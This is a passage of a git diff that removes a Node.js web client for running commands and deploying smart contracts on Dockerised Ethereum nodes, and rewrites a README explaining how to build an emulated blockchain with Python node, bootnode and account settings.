"integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", - "requires": { - "brace-expansion": "^1.1.7" - } - }, - "minimist": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", - "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" - }, - "mkdirp-classic": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", - "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "nan": { - "version": "2.15.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.15.0.tgz", - "integrity": "sha512-8ZtvEnA2c5aYCZYd1cvgdnU6cqwixRoYg70xPLWUws5ORTa/lnw+u4amixRS/Ac5U5mQVgp9pnlSUnbNWFaWZQ==", - "optional": true - }, - "negotiator": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", - "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==" - }, - "neo-async": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", - "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" - }, - "on-finished": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", - "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", - "requires": { - "ee-first": "1.1.1" - } - }, - "once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", - "requires": { - "wrappy": "1" - } - }, - "parseurl": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" - }, - "path-is-absolute": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" - }, - "path-to-regexp": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", - "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" - }, - "proxy-addr": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", - "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", - "requires": { - "forwarded": "0.2.0", - "ipaddr.js": "1.9.1" - } - }, - "pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "qs": { - "version": "6.7.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", - "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==" - }, - "range-parser": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", - "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" - }, - "raw-body": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", - "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", - "requires": { - "bytes": "3.1.0", - "http-errors": "1.7.2", - "iconv-lite": "0.4.24", - "unpipe": "1.0.0" - } - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" - }, - "safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" - }, - "send": { - "version": "0.17.1", - "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", - "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", - "requires": { - "debug": "2.6.9", - "depd": "~1.1.2", - "destroy": "~1.0.4", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "fresh": "0.5.2", - "http-errors": "~1.7.2", - "mime": "1.6.0", - "ms": "2.1.1", - "on-finished": "~2.3.0", - "range-parser": "~1.2.1", - "statuses": "~1.5.0" - }, - "dependencies": { - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "requires": { - "ms": "2.0.0" - }, - "dependencies": { - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" - } - } - }, - "ms": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", - "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" - } - } - }, - "serve-static": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", - "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", - "requires": { - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "parseurl": "~1.3.3", - "send": "0.17.1" - } - }, - "setprototypeof": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", - "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" - }, - "split-ca": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz", - "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=" - }, - "ssh2": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-1.5.0.tgz", - "integrity": "sha512-iUmRkhH9KGeszQwDW7YyyqjsMTf4z+0o48Cp4xOwlY5LjtbIAvyd3fwnsoUZW/hXmTCRA3yt7S/Jb9uVjErVlA==", - "requires": { - "asn1": "^0.2.4", - "bcrypt-pbkdf": "^1.0.2", - "cpu-features": "0.0.2", - "nan": "^2.15.0" - } - }, - "statuses": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", - "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "requires": { - "safe-buffer": "~5.2.0" - } - }, - "tar-fs": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.0.1.tgz", - "integrity": "sha512-6tzWDMeroL87uF/+lin46k+Q+46rAJ0SyPGz7OW7wTgblI273hsBqk2C1j0/xNadNLKDTUL9BukSjB7cwgmlPA==", - "requires": { - "chownr": "^1.1.1", - "mkdirp-classic": "^0.5.2", - "pump": "^3.0.0", - "tar-stream": "^2.0.0" - } - }, - "tar-stream": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", - "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", - "requires": { - "bl": "^4.0.3", - "end-of-stream": "^1.4.1", - "fs-constants": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^3.1.1" - } - }, - "toidentifier": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", - "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==" - }, - "tweetnacl": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", - "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" - }, - "type-is": { - "version": "1.6.18", - "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", - "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", - "requires": { - "media-typer": "0.3.0", - "mime-types": "~2.1.24" - } - }, - "typescript": { - "version": "4.4.4", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.4.4.tgz", - "integrity": "sha512-DqGhF5IKoBl8WNf8C1gu8q0xZSInh9j1kJJMqT3a94w1JzVaBU4EXOSMrz9yDqMT0xt3selp83fuFMQ0uzv6qA==", - "dev": true - }, - "uglify-js": { - "version": "3.14.2", - "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.14.2.tgz", - "integrity": "sha512-rtPMlmcO4agTUfz10CbgJ1k6UAoXM2gWb3GoMPPZB/+/Ackf8lNWk11K4rYi2D0apgoFRLtQOZhb+/iGNJq26A==", - "optional": true - }, - "unpipe": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" - }, - "util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" - }, - "utils-merge": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", - "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" - }, - "vary": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" - }, - "wordwrap": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", - "integrity": "sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=" - }, - "wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" - } - } -} diff --git a/blockchain-client/src/package.json b/blockchain-client/src/package.json deleted file mode 100644 index 43576bc98..000000000 --- a/blockchain-client/src/package.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "name": "src", - "version": "1.0.0", - "description": "", - "main": "index.js", - "scripts": { - "test": "node test.ts", - "start": "export PORT=3000 && export CONTAINER=Ethereum-6 && node index.ts" - }, - "keywords": [], - "author": "", - "license": "ISC", - "dependencies": { - "body-parser": "^1.19.0", - "dockerode": "^3.3.1", - "express": "^4.17.1", - "express-handlebars": "^5.3.4" - }, - "devDependencies": { - "typescript": "^4.4.4" - } -} diff --git a/blockchain-client/src/public/css/index.css b/blockchain-client/src/public/css/index.css deleted file mode 100644 index 6e01930ff..000000000 --- a/blockchain-client/src/public/css/index.css +++ /dev/null @@ -1,68 +0,0 @@ -#apis,#smartContractContainer { - display: flex; - flex-direction: column; - flex-wrap: wrap; - align-content: flex-start; -} - -.margin-10-0 { - margin: 10px 0 !important; -} - -.flex-direction-column { - flex-direction: column !important; -} - -.section { - border: 1px solid lightblue; - padding: 5px; - margin: 0 0 10px 0; - width: 100%; -} - -.action-section { - display: flex; - flex-direction: row; - flex-wrap: wrap; - justify-content: flex-start; - align-content: start; - align-items: start; -} - -.apiBtn { - text-align: center; -} - -.apiBtn, .apiParams { - height: 100%; -} - -#accountsSection { - display: flex; - flex-direction: row; -} - -#deploymentSection { - display: flex; - flex-direction: column; - flex-wrap: wrap; - justify-content: center; -} - -#units { - display: none; -} - -#displayContract { - display: flex; - flex-direction: column; - flex-wrap: wrap; - justify-content: flex-start; - align-items: flex-start; - gap: 20px; -} - -.deployedContractContainer { - display: flex; - flex-direction: column; -} diff --git a/blockchain-client/src/public/js/index.js b/blockchain-client/src/public/js/index.js deleted file mode 100644 index ea93440e5..000000000 --- a/blockchain-client/src/public/js/index.js +++ /dev/null @@ -1,55 +0,0 @@ -function xmlHttpRequestHandler(type, url, data={}, callback) { - const http = new XMLHttpRequest(); - http.open(type, url, true); - http.onreadystatechange = function() { - if(http.readyState === XMLHttpRequest.DONE) { - callback(JSON.parse(http.responseText)) - } - } - http.setRequestHeader('Content-Type', 'application/json;charset=UTF-8'); - http.send(JSON.stringify(data)); -} - - -function responseHandler({command, output}) { - const div = document.getElementById(command).querySelector('.apiOutputContainer') - const outputElement = document.getElementById(command + "-output") || document.createElement('p') - const sanitizedOutput = output.replace(/[^ -~]+/g, "") - outputElement.innerHTML = ""; - outputElement.id = command + "-output" - outputElement.innerHTML = sanitizedOutput; - div.appendChild(outputElement) -} - - - -document.addEventListener('DOMContentLoaded',function () { - - const nodesParentContainer = document.getElementById('nodes'); - - window.containerId = nodesParentContainer.options[nodesParentContainer.selectedIndex].dataset.id; - nodesParentContainer.addEventListener('change', (event) => { - window.containerId = event.target.options[event.target.selectedIndex].dataset.id; - }) - - const apiButtons = document.getElementsByClassName('apiBtn'); - for (let i = 0; i { - xmlHttpRequestHandler('POST', 'http://localhost:'+window.blockchainPort, { - command: event.target.dataset.command, - containerId: window.containerId, - params: (function(){ - const parentContainer = event.target.parentElement; - const inputs = parentContainer.querySelectorAll(".apiParams"); - const paramValues = []; - inputs.forEach((input) => { - paramValues.push(input.value) - }) - return paramValues - })() - }, responseHandler) - }) - } -}) - - diff --git a/blockchain-client/src/public/js/smartcontracts.js b/blockchain-client/src/public/js/smartcontracts.js deleted file mode 100644 index 44563221e..000000000 --- a/blockchain-client/src/public/js/smartcontracts.js +++ /dev/null @@ -1,204 +0,0 @@ -let url; -const deployedContracts = [] - -function getSanitizedAbiValue(abi) { - return JSON.stringify(JSON.parse(abi) - .map((f)=>{ - if(f.stateMutability === 'payable') { - f.payable=true - } - return f; - })) -} - -function displayDeployedContractFunctions(func) { - if(func.name) { - const numOfParameters = func.inputs.length; - const functionButton = document.createElement('input') - functionButton.type = "button" - functionButton.value = func.name; - functionButton.setAttribute('data-action', 'invokeContractFunction') - functionButton.setAttribute('data-abi', deployedContracts.length - 1) - - if(func.payable) { - functionButton.setAttribute('data-payable', true) - } - - const parentContainer = document.querySelector(`.deployedContractContainer[data-abi="${deployedContracts.length-1}"]`); - parentContainer.appendChild(functionButton) - - func.inputs.forEach((input) => { - const paramInput = document.createElement('input') - paramInput.placeholder = input.name - paramInput.className = func.name + "-param" - paramInput.setAttribute('data-type', input.type) - parentContainer.appendChild(paramInput) - }) - - const outputContainer = document.createElement('div') - outputContainer.className= func.name + "-output" - outputContainer.setAttribute('data-abi', deployedContracts.length - 1) - parentContainer.appendChild(outputContainer); - - functionButton.addEventListener('click', (event) =>{ - const params = document.getElementsByClassName(func.name+"-param") - const functionInfo = { - funcName: event.target.value, - abiIndex: event.target.dataset.abi, - payable: event.target.dataset.payable - } - const functionParameters = Array.from(params).map((param) => { - return { - value: param.value, - type: param.dataset.type - } - }) - const {abi, address} = deployedContracts[event.target.dataset.abi] - const valueEl = document.querySelector('#paymentSection input') - const value = valueEl.value || undefined - const additionalData = [ - window.selectedAccount, - {abi: getSanitizedAbiValue(abi), address}, - document.querySelector('#paymentSection input').value || undefined - ] - xmlHttpRequestHandler('POST', url, { - action: event.target.dataset.action, - params: [functionInfo, functionParameters, additionalData], - containerId: window.containerId - }, responseHandler) - - valueEl.value = '' - }) - } -} - -function xmlHttpRequestHandler(type, url, data={}, callback) { - const http = new XMLHttpRequest(); - http.open(type, url, true); - http.onreadystatechange = function() { - if(http.readyState === XMLHttpRequest.DONE) { - callback(JSON.parse(http.responseText)) - } - } - http.setRequestHeader('Content-Type', 'application/json;charset=UTF-8'); - http.send(JSON.stringify(data)); -} - - -function responseHandler({action, response}) { - if(responseHandler[action]) { - responseHandler[action](response); - } -} - -responseHandler.deploySmartContract = function(response) { - document.getElementById('displayTransactionOutput').innerHTML = response -} - -responseHandler.getTransactionReceipt = function(response) { - document.getElementById('displayTransactionReceipt').innerHTML = response -} - -responseHandler.getContractByAddress = function(response) { - const abi = getSanitizedAbiValue(document.getElementById("abi").value) - const address = document.getElementById("smartContractAddress").value - deployedContracts.push({abi, address}) - const contractContainer = document.createElement('div') - contractContainer.className = 'deployedContractContainer' - contractContainer.setAttribute('data-abi', deployedContracts.length - 1) - document.getElementById('displayContract').appendChild(contractContainer) - JSON.parse(abi).forEach((f) => { - displayDeployedContractFunctions(f); - }) -} - -responseHandler.invokeContractFunction = function(response) { - console.log('Invoked smart contract function: ', response); - const {output, funcName, abiIndex} = JSON.parse(response); - const el = document.querySelector(`.${funcName}-output[data-abi="${abiIndex}"]`) - if(el) { - el.innerHTML = output - } - -} - -async function copyToClipboard(text) { - /*const dummy = document.createElement("textarea"); - document.body.appendChild(dummy); - dummy.value = text; - dummy.select(); - document.execCommand("copy"); - document.body.removeChild(dummy); - */ - return await navigator.clipboard.writeText(text) -} - -window.addEventListener('DOMContentLoaded', ()=> { - - url = `http://localhost:${window.blockchainPort}/smartcontracts` - - const accounts = document.getElementById('accounts'); - window.selectedAccount = accounts.options[accounts.selectedIndex].value; - accounts.addEventListener('change', (event)=> { - window.selectedAccount = event.target.options[event.target.selectedIndex].value - }) - - const copy = document.getElementById("copySelectedAccount") - - copy.addEventListener('click', ()=> { - copyToClipboard(window.selectedAccount) - }) - - const abiTextArea = document.getElementById('abi'); - const bytecodeTextArea = document.getElementById('bytecode'); - const parametersInput = document.getElementById('contract-params'); - const deployButton = document.getElementById('deploy') - - const valueEl = document.querySelector('#paymentSection input') - - deployButton.addEventListener('click', (event) => { - const abi = getSanitizedAbiValue(abiTextArea.value); - window.deployedAbi = abi - const bytecode = bytecodeTextArea.value.substring(0,2) !== '0x' ? '0x' + bytecodeTextArea.value : bytecodeTextArea.value; - const params = parametersInput.value.split(",").map(p => JSON.stringify(p)).join(","); - const value = valueEl.value || undefined; - - if(!abi || !bytecode) { - alert("Abi and Bytecode are mandatory") - return - } - - xmlHttpRequestHandler('POST', url, { - params: [window.selectedAccount, abi, bytecode, params, value], - action: event.target.dataset.action, - containerId: window.containerId - }, responseHandler) - - //bytecodeTextArea.value = '' - //parametersInput.value = '' - valueEl.value = '' - }) - - const getTransactionReceiptButton = document.getElementById("getTransactionReceipt"); - const transactionHashInput = document.getElementById("transactionHash") - - getTransactionReceiptButton.addEventListener('click', (event)=>{ - xmlHttpRequestHandler('POST', url, { - action: event.target.dataset.action, - params: [transactionHashInput.value], - containerId: window.containerId - }, responseHandler) - }) - - const getContractButton = document.getElementById("getSmartContract"); - const contractAddressInput = document.getElementById("smartContractAddress"); - - getContractButton.addEventListener('click', (event)=> { - xmlHttpRequestHandler('POST', url, { - action: event.target.dataset.action, - params: [getSanitizedAbiValue(abiTextArea.value), contractAddressInput.value], - containerId: window.containerId - }, responseHandler) - }) - -}) diff --git a/blockchain-client/src/routes/index.ts b/blockchain-client/src/routes/index.ts deleted file mode 100644 index a6d3d3251..000000000 --- a/blockchain-client/src/routes/index.ts +++ /dev/null @@ -1,36 +0,0 @@ -const express = require('express'); -const docker = require('../docker/index.ts'); -const DockerOdeWrapper = require('../DockerOdeWrapper.ts'); -const apis = require('../apis.ts'); -const getCommand = require('../commands.ts'); - -const router = express.Router(); - -router.get('/', async (req, res) => { - try { - const containers = await DockerOdeWrapper.docker.listContainers(docker) - res.render('home', { - port: process.env.PORT, - apis, - containers: containers.filter(container => container.Names[0].includes('Ethereum')) - }) - } catch(e) { - console.log(e) - } -}) - -router.post('/', async (req, res) => { - try { - const {containerId, command, params} = req.body; - const container = await DockerOdeWrapper.docker.getContainer(docker, containerId) - const output = await DockerOdeWrapper.container.exec(docker, container, getCommand(command, params)) - res.send(JSON.stringify({ - command, - output - })) - } catch(e) { - console.log(e) - } -}) - -module.exports = router; diff --git a/blockchain-client/src/routes/smartcontracts.ts b/blockchain-client/src/routes/smartcontracts.ts deleted file mode 100644 index f625e74ad..000000000 --- a/blockchain-client/src/routes/smartcontracts.ts +++ /dev/null @@ -1,72 +0,0 @@ -const express = require('express') -const docker = require('../docker/index.ts'); -const DockerOdeWrapper = require('../DockerOdeWrapper.ts'); -const getCommand = require('../commands.ts'); -const helpers = require('../common/helpers.ts') - - -const router = express.Router(); - -const sanitizeOutputForAction = { - deploySmartContract(output) { - return JSON.parse(helpers.stringToJsonString(helpers.sanitizeGethStreamString(output))).transactionHash; - }, - getTransactionReceipt(output) { - const res = JSON.parse(helpers.stringToJsonString(helpers.sanitizeGethStreamString(output))) - if(!res) { - return res - } - return res.contractAddress - }, - getContractByAddress(output) { - return helpers.stringToJsonString(helpers.sanitizeGethStreamString(output)) - }, - invokeContractFunction(output) { - return output - } -} - - -router.get('/', async (req, res) => { - try { - const containers = await DockerOdeWrapper.docker.listContainers(docker) - const [openForConnectionContainer] = containers.filter(container => container.Names[0].includes(process.env.CONTAINER)) - const container = await DockerOdeWrapper.docker.getContainer(docker, openForConnectionContainer.Id) - const accounts = await DockerOdeWrapper.container.exec(docker, container, getCommand("getAccounts")); - - res.render('smartcontract', { - accounts: JSON.parse(accounts), - port: process.env.PORT, - containerId: container.id, - }) - } catch(e) { - console.log(e) - } -}) - -router.post('/', async(req, res) => { - try { - const {params, action, containerId} = req.body; - const container = await DockerOdeWrapper.docker.getContainer(docker, containerId); - let output = await DockerOdeWrapper.container.exec(docker, container, getCommand(action, params)) - - if(action === 'invokeContractFunction') { - // giving some time for the network to mine the actual transaction - output = JSON.stringify({ - output: await DockerOdeWrapper.container.exec(docker, container, getCommand(action, params, {call:true})), - funcName: params[0].funcName, - abiIndex: params[0].abiIndex - }) - } - - res.send({ - action, - response: sanitizeOutputForAction[action](output) - }) - } catch(e) { - console.log(e) - } - -}) - -module.exports = router; diff --git a/blockchain-client/src/start.sh b/blockchain-client/src/start.sh deleted file mode 100644 index dfa2277d4..000000000 --- a/blockchain-client/src/start.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/sh -cd /usr/src/app/blockchain-client/src -while true; do npm run start; done diff --git a/blockchain-client/src/views/home.handlebars b/blockchain-client/src/views/home.handlebars deleted file mode 100644 index 82c5916de..000000000 --- a/blockchain-client/src/views/home.handlebars +++ /dev/null @@ -1,37 +0,0 @@ -
- -
- - - -
- -
- {{#each apis}} -
-
-

Description

-

{{description}}

-
-
- - {{#each parameters}} - <{{el}} class="apiParams" placeholder="{{name}}" required="{{required}}"/> - {{/each}} -
-
-

Output

-
-
- {{/each}} -
- -
- diff --git a/blockchain-client/src/views/layouts/main.handlebars b/blockchain-client/src/views/layouts/main.handlebars deleted file mode 100644 index 2d9005d21..000000000 --- a/blockchain-client/src/views/layouts/main.handlebars +++ /dev/null @@ -1,14 +0,0 @@ - - - - - Blockchain Interface - - - - {{{body}}} - - - diff --git a/blockchain-client/src/views/smartcontract.handlebars b/blockchain-client/src/views/smartcontract.handlebars deleted file mode 100644 index 1e7cb7284..000000000 --- a/blockchain-client/src/views/smartcontract.handlebars +++ /dev/null @@ -1,65 +0,0 @@ -
-
- - -
-
- - - -
-
-
-

Deploy contract

-
-
- - - - -
-
-

Transaction Hash

-
-
-
-
-
-

Get Contract Address

-
-
- - -
-
-

Contract address

-
-
-
-
-
-

Deployed Contracts

-
-
- - -
-
-

Contracts

-
-
-
-
- - diff --git a/examples/B06-blockchain/README.md b/examples/B06-blockchain/README.md index 129213fd1..29a9fc303 100644 --- a/examples/B06-blockchain/README.md +++ b/examples/B06-blockchain/README.md @@ -1,22 +1,153 @@ ## Table of Content +- [Build a Blockchain Component](#blockchain-component) - [Build emulator with blockchain](#emulator) - [Use blockchain](#use-blockchain) - [Smart contract](#smart-contract) - [Manually deploy a smart contract](#smart-contract-manual) -------------------- - -# Build Emulator with Blockchain + +# Build a Blockchain Component + +## A.1 Creating Virtual Blockchain Node + +We will create the Blockchain nodes at the Ethereum layer, +so each node created is a virtual node so that they can be deployed +in different emulators. + +```python +# Create the Ethereum layer +# saveState=True: will set the blockchain folder using `volumes`, +# so the blockchain data will be preserved when containers are deleted. +eth = EthereumService(saveState = True, override=True) + + +# Create POW Ethereum nodes (nodes in this layer are virtual) +# Default consensus mechanism is POW. +e1 = eth.install("eth1").setConsensusMechanism(ConsensusMechanism.POW) +e2 = eth.install("eth2") +e3 = eth.install("eth3") +e4 = eth.install("eth4") + +# Create POA Ethereum nodes +e5 = eth.install("eth5").setConsensusMechanism(ConsensusMechanism.POA) +e6 = eth.install("eth6").setConsensusMechanism(ConsensusMechanism.POA) +e7 = eth.install("eth7").setConsensusMechanism(ConsensusMechanism.POA) +e8 = eth.install("eth8").setConsensusMechanism(ConsensusMechanism.POA) +``` + + +## A.2 Setting a Node as a Bootnode + +We can set a node as a bootnode that bootstraps all blockchain nodes. +If a node is set as a bootnode, it will run a http server that sends +its blockchain node url so that the other nodes can connect to it. +The default port number of the http server is 8088 and it can be +customized. If bootnode does not set to any node, we should specify +peer nodes urls manually. + +```python +# Set bootnode on e1. The other nodes can use these bootnodes to find peers. +e1.setBootNode(True).setBootNodeHttpPort(8090) +``` + +## A.3 Creating Accounts + +By default, one account will be created per node. In POW Consensus, +the account will be created with no balance. In the case of POA Consensus, +the account will have 32*pow(10,18) balance as the node will not get sealing +(mining) rewards in POA. +If you want to create additional accounts you can use `createAccount` +or `createAccounts` method. Using a `createAccount`, you can create +an individual account customizing balance and password. On the other +hand, using a `createAccounts` method, you create a bulk of accounts +that have same amount of balance and a same password. + +```python +# Create more accounts with Balance on e3 and e7 +# Create one account with createAccount() method +# Create multiple accounts with createAccounts() method +e3.createAccount(balance= 32 * pow(10,18), password="admin") +e7.createAccounts(3, balance = 32*pow(10,18), password="admin") +``` + +## A.4 Importing Accounts + +When you want to reuse an existing account, you can use `importAccount` method. + +```python +# Import account with balance 0 on e2 +e2.importAccount(keyfilePath='./resources/keyfile_to_import', password="admin", balance=0) +``` -## A.1 Automated setup +## A.5 Setting Geth Command Options -Make sure driver.sh has the executable permission by running `chmod +x driver.sh` -./driver.sh will automate each of the steps mentioned below. -If any issue 